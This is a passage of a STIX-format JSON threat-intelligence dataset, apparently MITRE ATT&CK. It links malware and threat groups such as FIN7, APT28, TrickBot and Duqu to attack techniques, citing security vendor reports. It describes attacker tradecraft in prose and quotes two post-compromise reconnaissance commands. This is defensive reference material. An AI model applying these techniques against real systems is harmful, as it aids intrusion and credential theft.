            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [NETWIRE](https://attack.mitre.org/software/S0198) client has been signed by fake and invalid digital certificates.(Citation: McAfee Netwire Mar 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Netwire Mar 2015",
                    "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"
                }
            ],
            "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52",
            "type": "relationship",
            "modified": "2020-08-13T20:15:39.681Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--05ee7ead-dfe8-4cd2-9e7c-8f1aada9bcde",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to identify remote hosts on connected networks.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                }
            ],
            "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-04-22T23:25:33.589Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--35ae6625-8563-493c-8950-1230bd0fd122",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can download and execute additional files.(Citation: Palo Alto Gamaredon Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-06-22T17:54:15.486Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ada291f4-524c-4400-9425-0936a03d4a41",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) used legitimate services like Google Docs, Google Scripts, and Pastebin for C2.(Citation: FireEye FIN7 Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:11:57.197Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6ed1086d-3197-403e-86e4-16e4dee07faa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses WMI to perform process monitoring.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lazarus RATANKBA",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"
                },
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2020-09-02T18:46:32.820Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--19e44b4d-fb66-43f9-8853-8e42692522b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reg](https://attack.mitre.org/software/S0075) may be used to find credentials in the Windows Registry.(Citation: Pentestlab Stored Credentials)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Pentestlab Stored Credentials",
                    "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
                    "url": "https://pentestlab.blog/2017/04/19/stored-credentials/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580"
        },
        {
            "id": "relationship--252c0e02-0da6-4812-b147-81d9cfb3c998",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) used a proxy server between victims and the C2 server.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
            "type": "relationship",
            "modified": "2020-03-20T21:51:47.206Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c8d0e862-20af-4f9f-84e8-0419c8080008",
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            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) C2 traffic has been encrypted with RC4 and AES.(Citation: Mandiant No Easy Breach)(Citation: Unit 42 SeaDuke 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                },
                {
                    "source_name": "Unit 42 SeaDuke 2015",
                    "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:25:17.696Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1684e405-53bd-4951-a26d-e7c39887b06a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WinMM](https://attack.mitre.org/software/S0059) sets a WH_CBT Windows hook to search for and capture files on the victim.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-05-03T16:45:45.236Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1083404f-57df-48dc-a3b9-8c60fb5fd2f7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has cleared logs during post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "relationship",
            "modified": "2020-03-28T20:13:24.822Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1a273c5c-b362-4126-b684-7751b85cbf5c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) apparently altered [NDiskMonitor](https://attack.mitre.org/software/S0272) samples by adding four bytes of random letters in a likely attempt to change the file hashes.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.907Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cffbdd23-bf18-4bb9-bd50-dc74b69784e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about shares on remote hosts.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                }
            ],
            "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2019-04-22T23:25:33.607Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7606ad11-1322-4b97-83b9-aaafaee02c07",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used legitimate credentials to gain initial access, maintain access, and exfiltrate data from a victim network. The group has specifically used credentials stolen through a spearphishing email to login to the DCCC network. The group has also leveraged default manufacturer's passwords to gain initial access to corporate networks via IoT devices such as a VOIP phone, printer, and video decoder.(Citation: Trend Micro Pawn Storm April 2017)(Citation: DOJ GRU Indictment Jul 2018)(Citation: Microsoft STRONTIUM Aug 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf",
                    "description": "Hacquebord, F.. (2017, April 25). Two Years of Pawn Storm: Examining an Increasingly Relevant Threat. Retrieved May 3, 2017.",
                    "source_name": "Trend Micro Pawn Storm April 2017"
                },
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
                },
                {
                    "source_name": "Microsoft STRONTIUM Aug 2019",
                    "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/",
                    "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019."
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.308Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--10af8211-36f6-4152-8221-c152407bd969",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
            "external_references": [
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                },
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                },
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "description": "(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: Symantec Cicada November 2020)",
            "type": "relationship",
            "modified": "2020-12-17T16:16:08.982Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1c8634d8-21a1-46a5-a1fd-eaaff6eed7a6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 Sofacy Feb 2018"
                }
            ],
            "description": "(Citation: Unit 42 Sofacy Feb 2018)",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.711Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3c452693-7971-42f3-8bdc-68e2c7d785ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "description": "(Citation: McAfee Honeybee)",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.645Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--79826a7e-d9dd-4c4f-bc1f-e5f2d4c6465b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) collected file listings of all default Windows directories.(Citation: Lookout Dark Caracal Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-07-16T15:35:20.860Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3127bcf3-3638-4c1b-9a95-156f6c78658a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "source_name": "Unit 42 OopsIE! Feb 2018"
                }
            ],
            "description": "(Citation: Unit 42 OopsIE! Feb 2018)",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.892Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b4f8c479-aab5-481d-aa04-922677da108a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence through the system screensaver by configuring it to execute the malware.(Citation: ESET Gazer Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf",
            "type": "relationship",
            "modified": "2020-03-17T01:22:43.697Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--4d3e4232-1330-45a9-9e90-9914eed276a5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from multiple sources, including Windows Credential Vault and Outlook.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "type": "relationship",
            "modified": "2020-03-20T00:17:48.821Z",
            "created": "2017-05-31T21:33:27.074Z"
        },
        {
            "id": "relationship--d8e0ed13-7938-4c9c-99ef-511b8dbf76aa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) downloads several additional files and saves them to the victim's machine.(Citation: Trend Micro Totbrick Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trend Micro Totbrick Oct 2016",
                    "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.430Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) scans the C-class subnet of the IPs on the victim's interfaces.(Citation: FireEye Shamoon Nov 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-04-24T23:59:16.274Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--eb85fa2e-3c50-4130-9717-8688237fecbc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about the OS: <code>ver >> %temp%\\download</code> <code>systeminfo >> %temp%\\download</code>(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-09-04T19:48:17.579Z",
            "created": "2017-05-31T21:33:27.052Z"
        },
        {
            "id": "relationship--ab109b93-76a9-46da-8934-58751125fd1e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OSInfo](https://attack.mitre.org/software/S0165) enumerates local and domain users(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "relationship",
            "modified": "2020-03-18T20:19:35.794Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--46660a8a-7724-4577-b09e-551a1ce61bfc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Duqu](https://attack.mitre.org/software/S0038) creates a new service that loads a malicious driver when the system starts. When Duqu is active, the operating system believes that the driver is legitimate, as it has been signed with a valid private key.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-04-24T23:18:53.203Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
            "external_references": [
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                }
            ],
            "description": "(Citation: Novetta Blockbuster Loaders)",
            "type": "relationship",
            "modified": "2019-12-20T14:28:39.536Z",
            "created": "2017-05-31T21:33:27.070Z"
        },
        {
            "id": "relationship--ce4707f0-d5b8-4dd6-b5ab-cf1483dd236f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to upload a file to the victim machine.(Citation: Palo Alto DNS Requests)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
